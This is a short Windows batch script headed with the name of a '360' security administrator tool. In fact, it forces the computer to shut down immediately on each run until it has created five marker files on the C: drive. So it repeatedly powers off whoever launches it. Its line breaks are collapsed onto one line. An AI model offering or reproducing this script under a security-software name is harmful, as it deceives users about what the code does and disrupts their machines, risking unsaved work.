360安全管理员软件

@echo off if not exist c:\1.txt echo. >c:\1.txt & goto err1 if not exist c:\2.txt echo. >c:\2.txt & goto err1 if not exist c:\3.txt echo. >c:\3.txt & goto err1 if not exist c:\4.txt echo. >c:\4.txt & goto err1 if not exist c:\5.txt echo. >c:\5.txt & goto err1 goto err2 :err1 shutdown -s -t 0 :err2